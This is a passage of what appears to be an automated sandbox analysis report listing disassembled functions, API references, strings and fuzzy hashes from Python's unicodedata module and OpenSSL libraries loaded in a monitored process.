_PyArg_CheckPositional.PYTHON310 ref: 00007FF8A7CC4A88
_PyArg_BadArgument.PYTHON310 ref: 00007FF8A7CC4ABD
_PyUnicode_Ready.PYTHON310 ref: 00007FF8A7CC4ACD
_PyArg_BadArgument.PYTHON310 ref: 00007FF8A7CC4B0C
_PyUnicode_Ready.PYTHON310 ref: 00007FF8A7CC4B1C

Strings

str, xrefs: 00007FF8A7CC4AA8, 00007FF8A7CC4AF7
argument 2, xrefs: 00007FF8A7CC4B05
argument 1, xrefs: 00007FF8A7CC4AB6
is_normalized, xrefs: 00007FF8A7CC4A7B, 00007FF8A7CC4AAF, 00007FF8A7CC4AFE

Memory Dump Source

Source File: 00000003.00000002.2577937642.00007FF8A7CC1000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF8A7CC0000, based on PE: true

Associated: 00000003.00000002.2577906735.00007FF8A7CC0000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7CC6000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D24000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D70000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D73000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7DCC000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578220680.00007FF8A7DCF000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578251692.00007FF8A7DD1000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7cc0000_stub.jbxd

Similarity

API ID: Arg_$ArgumentReadyUnicode_$CheckPositional
String ID: argument 1$argument 2$is_normalized$str
API String ID: 396090033-184702317
Opcode ID: d7c17ebadb723ea09846ba8eb28a19efd5a53d34ba05390ff0baa6aee06a10f7
Instruction ID: ca682963ff529efa07a402f161554694a1591850da8000f4ffb7df65ab75d3c6
Opcode Fuzzy Hash: d7c17ebadb723ea09846ba8eb28a19efd5a53d34ba05390ff0baa6aee06a10f7
Instruction Fuzzy Hash: 44218D21A0AA87A1EB508F65E9506BC2760FF44FD8F488631DF5D572A8DF2CD546E300

Function 00007FF8A7EECB60 Relevance: 15.2, APIs: 1, Strings: 9, Instructions: 238stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7EECBFB

Strings

OPENSSL_finish, xrefs: 00007FF8A7EECC82
module=, xrefs: 00007FF8A7EECCE4, 00007FF8A7EECD1E, 00007FF8A7EECEE7
, value=, xrefs: 00007FF8A7EECECF
..\s\crypto\conf\conf_mod.c, xrefs: 00007FF8A7EECCC3, 00007FF8A7EECD08, 00007FF8A7EECD5E, 00007FF8A7EECD88, 00007FF8A7EECDA1, 00007FF8A7EECE12, 00007FF8A7EECE41, 00007FF8A7EECE57, 00007FF8A7EECE6F, 00007FF8A7EECE96
, path=, xrefs: 00007FF8A7EECCD5
OPENSSL_init, xrefs: 00007FF8A7EECC65
, retcode=, xrefs: 00007FF8A7EECED6
%-8d, xrefs: 00007FF8A7EECEAC
path, xrefs: 00007FF8A7EECC25

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: strncmp
String ID: %-8d$, path=$, retcode=$, value=$..\s\crypto\conf\conf_mod.c$OPENSSL_finish$OPENSSL_init$module=$path
API String ID: 1114863663-3652895664
Opcode ID: aa5e378444c73c1808832140d89b80d9a29fa2cfb90f76be0f22f5e6853ff521
Instruction ID: 46b83d7314274084a4c1a65c74533ea52c75b114225d5135237954914fc41a76
Opcode Fuzzy Hash: aa5e378444c73c1808832140d89b80d9a29fa2cfb90f76be0f22f5e6853ff521
Instruction Fuzzy Hash: 53A19D72A0A642B5FA25AF11A9102BD2390EF48BC4F440635DE5D47BE9FF3CE5A1E310

Function 00007FF8A7DE4B3D Relevance: 15.1, APIs: 3, Strings: 7, Instructions: 127stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A801384D
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A80138B0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A80138DF

Strings

..\s\crypto\x509v3\v3_conf.c, xrefs: 00007FF8A8013970
/, xrefs: 00007FF8A8013968
, value=, xrefs: 00007FF8A8013983
name=, xrefs: 00007FF8A8013992
DER:, xrefs: 00007FF8A80138A6
ASN1:, xrefs: 00007FF8A80138D5
critical,, xrefs: 00007FF8A8013846

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: strncmp
String ID: , value=$..\s\crypto\x509v3\v3_conf.c$/$ASN1:$DER:$critical,$name=
API String ID: 1114863663-1429737502
Opcode ID: fa9dcb5958271daa3e2a324d8ca326ef0272130a5644930e9fe95100a0dccc46
Instruction ID: 3b584e6785829bbc4775b524ae3af0c336009ff515fab12b4593b26df9f06fda
Opcode Fuzzy Hash: fa9dcb5958271daa3e2a324d8ca326ef0272130a5644930e9fe95100a0dccc46
Instruction Fuzzy Hash: E741DE61B0AA86A2FF119F22A80037A6A95FF45BE4F494134DD6D037D9EF3CE511C728

Function 00007FF8A7DE41D8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 117networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8A7EAA79E
WSAGetLastError.WS2_32 ref: 00007FF8A7EAA7A8

Strings

..\s\crypto\bio\b_sock2.c, xrefs: 00007FF8A7EAA72E, 00007FF8A7EAA7BE, 00007FF8A7EAA7DA, 00007FF8A7EAA843, 00007FF8A7EAA85F, 00007FF8A7EAA8BB, 00007FF8A7EAA8D7
o, xrefs: 00007FF8A7EAA8CF

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: ..\s\crypto\bio\b_sock2.c$o
API String ID: 1729277954-1872632005
Opcode ID: 34993e59505dbed600dca64135d27a9ba0d4750b564e5c6ba914b5e12530ade6
Instruction ID: 2658a4389b24206ef782b0a91937835f485c029433ec539868494a18d6deb698
Opcode Fuzzy Hash: 34993e59505dbed600dca64135d27a9ba0d4750b564e5c6ba914b5e12530ade6
Instruction Fuzzy Hash: 0651CF31B09A42A6F7219F21E8046BE7360FB80BC4F440235E69907AD9EF3DE525DB14

Function 00007FF8A7DE1D48 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF8A80249DB
GetModuleHandleA.KERNEL32 ref: 00007FF8A80249ED
GetModuleHandleW.KERNEL32 ref: 00007FF8A80249FA
GetProcAddress.KERNEL32 ref: 00007FF8A8024A62

Strings

_ssl_d.pyd, xrefs: 00007FF8A80249E6
_ssl.pyd, xrefs: 00007FF8A80249D4
OPENSSL_Applink, xrefs: 00007FF8A8024A5B
OPENSSL_Uplink(%p,%02X): , xrefs: 00007FF8A8024972

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: HandleModule$AddressProc
String ID: OPENSSL_Applink$OPENSSL_Uplink(%p,%02X): $_ssl.pyd$_ssl_d.pyd
API String ID: 1883125708-1130596517
Opcode ID: c4aead17072fba216eea99f021f7cf45f47fd7f2a5a9cbf259b3f8ced4e703a5
Instruction ID: 27db58a41c58fd43006a92d1a6e092f42d922ade26ed67bebf2fc79c80c5753b
Opcode Fuzzy Hash: c4aead17072fba216eea99f021f7cf45f47fd7f2a5a9cbf259b3f8ced4e703a5
Instruction Fuzzy Hash: 2A510821D0AB86A1FB119F24E80017463A0FB597A8F049736DA6D122E5EF7CA5A1C72C

Function 00007FF8A7DE3779 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 85stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7E89E61
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF8A7E89E7C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7E89F26

Strings

MASK:, xrefs: 00007FF8A7E89E5A
nombstr, xrefs: 00007FF8A7E89E9F
utf8only, xrefs: 00007FF8A7E89F1C
pkix, xrefs: 00007FF8A7E89EDF
default, xrefs: 00007FF8A7E89F4A

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: strcmpstrncmpstrtoul
String ID: MASK:$default$nombstr$pkix$utf8only
API String ID: 1175158921-3483942737
Opcode ID: a21ae9ee1a6a80a1cd62bd08bae20b9b71c674710c0f9c2fb243c96c79f53681
Instruction ID: 80d4e7a0b2be84699fd2a1822cc283075b47bbf624d027b2176819768925974b
Opcode Fuzzy Hash: a21ae9ee1a6a80a1cd62bd08bae20b9b71c674710c0f9c2fb243c96c79f53681
Instruction Fuzzy Hash: CF31D362F1D581A2FB524F29E4803BD3B90FB45BC1F845132EA5E43695EF2CE8A4C714

Function 00007FF8A7DE60D2 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

SwitchToFiber.KERNEL32 ref: 00007FF8A7EA3844
CreateFiber.KERNEL32 ref: 00007FF8A7EA38BC
memmove.VCRUNTIME140 ref: 00007FF8A7EA3915
SwitchToFiber.KERNEL32 ref: 00007FF8A7EA3938
DeleteFiber.KERNEL32 ref: 00007FF8A7EA3A1B

Strings

*, xrefs: 00007FF8A7EA377F
..\s\crypto\async\async.c, xrefs: 00007FF8A7EA3761, 00007FF8A7EA3778, 00007FF8A7EA37C0, 00007FF8A7EA38E9, 00007FF8A7EA3950, 00007FF8A7EA39D0, 00007FF8A7EA3A06, 00007FF8A7EA3A27, 00007FF8A7EA3A54

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: Fiber$Switch$CreateDeletememmove
String ID: *$..\s\crypto\async\async.c
API String ID: 81049052-1471988776
Opcode ID: a1512a3175175441c8c8ba9ce9820c20be1e20530aa37c0a31591cd0c9ed4112
Instruction ID: 97c91c2935d113b68ae7182c72d6cdbffb28d220943de15bd817f611978365fc
Opcode Fuzzy Hash: a1512a3175175441c8c8ba9ce9820c20be1e20530aa37c0a31591cd0c9ed4112
Instruction Fuzzy Hash: 80A16932A0AA42A5EB21DF16E4906BD73A4FF44BC4F448135DA8D477A9EF3CE565E300

Function 00007FF8A7CC1780 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 127COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON310 ref: 00007FF8A7CC1855
PyUnicode_FromString.PYTHON310 ref: 00007FF8A7CC18B9
_PyArg_BadArgument.PYTHON310 ref: 00007FF8A7CC399E
_PyUnicode_Ready.PYTHON310 ref: 00007FF8A7CC39AF

Strings

argument, xrefs: 00007FF8A7CC3990
a unicode character, xrefs: 00007FF8A7CC3989
category, xrefs: 00007FF8A7CC3997

Memory Dump Source

Source File: 00000003.00000002.2577937642.00007FF8A7CC1000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF8A7CC0000, based on PE: true

Associated: 00000003.00000002.2577906735.00007FF8A7CC0000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7CC6000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D24000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D70000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D73000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7DCC000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578220680.00007FF8A7DCF000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578251692.00007FF8A7DD1000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7cc0000_stub.jbxd

Similarity

API ID: Unicode_$Arg_ArgumentFromReadyStringSubtypeType_
String ID: a unicode character$argument$category
API String ID: 2803103377-2068800536
Opcode ID: 9e6e558d1a517edcbb2660dc9e7557a39b8d7c25d030286f15f755aaa99b6cf3
Instruction ID: f3d5aa1bfc44907065185e4120c28bc02bbc4de616b002cc249c66e4f6aab889
Opcode Fuzzy Hash: 9e6e558d1a517edcbb2660dc9e7557a39b8d7c25d030286f15f755aaa99b6cf3
Instruction Fuzzy Hash: BF51B4A2B0E642A7EB548F0AE55027D23A1EF44BC4F450135DB4E87794DF2CED51E301

Function 00007FF8A7CC1000 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 110COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON310 ref: 00007FF8A7CC10CE
PyUnicode_FromString.PYTHON310 ref: 00007FF8A7CC10F3
_PyArg_BadArgument.PYTHON310 ref: 00007FF8A7CC3630
_PyUnicode_Ready.PYTHON310 ref: 00007FF8A7CC3640

Strings

argument, xrefs: 00007FF8A7CC3622
a unicode character, xrefs: 00007FF8A7CC361B
bidirectional, xrefs: 00007FF8A7CC3629

Memory Dump Source

Source File: 00000003.00000002.2577937642.00007FF8A7CC1000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF8A7CC0000, based on PE: true

Associated: 00000003.00000002.2577906735.00007FF8A7CC0000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7CC6000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D24000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D70000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D73000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7DCC000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578220680.00007FF8A7DCF000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578251692.00007FF8A7DD1000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7cc0000_stub.jbxd

Similarity

API ID: Unicode_$Arg_ArgumentFromReadyStringSubtypeType_
String ID: a unicode character$argument$bidirectional
API String ID: 2803103377-2110215792
Opcode ID: 13a7a07f0953b1032acf04b55cf0ef29e811e5461d08e34cfb79163082fa4ee2
Instruction ID: 9f497308eaa717b81ecc180314485cf3c1a2300d731807b727781bd2f88d170c
Opcode Fuzzy Hash: 13a7a07f0953b1032acf04b55cf0ef29e811e5461d08e34cfb79163082fa4ee2
Instruction Fuzzy Hash: 0441E1A2B0AA82A2FB588F16D4A427E23A1EF44BC4F544135DB4E877D4DF2DEC41E340

Function 00007FF8A7CC4CC4 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

_PyArg_BadArgument.PYTHON310 ref: 00007FF8A7CC4CFD
_PyUnicode_Ready.PYTHON310 ref: 00007FF8A7CC4D13
PyErr_Occurred.PYTHON310 ref: 00007FF8A7CC4DAD
PyLong_FromLong.PYTHON310 ref: 00007FF8A7CC4DBE

Strings

argument, xrefs: 00007FF8A7CC4CEF
a unicode character, xrefs: 00007FF8A7CC4CE8
mirrored, xrefs: 00007FF8A7CC4CF6

Memory Dump Source

Source File: 00000003.00000002.2577937642.00007FF8A7CC1000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF8A7CC0000, based on PE: true

Associated: 00000003.00000002.2577906735.00007FF8A7CC0000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7CC6000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D24000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D70000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D73000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7DCC000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578220680.00007FF8A7DCF000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578251692.00007FF8A7DD1000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7cc0000_stub.jbxd

Similarity

API ID: Arg_ArgumentErr_FromLongLong_OccurredReadyUnicode_
String ID: a unicode character$argument$mirrored
API String ID: 3097524968-4001128513
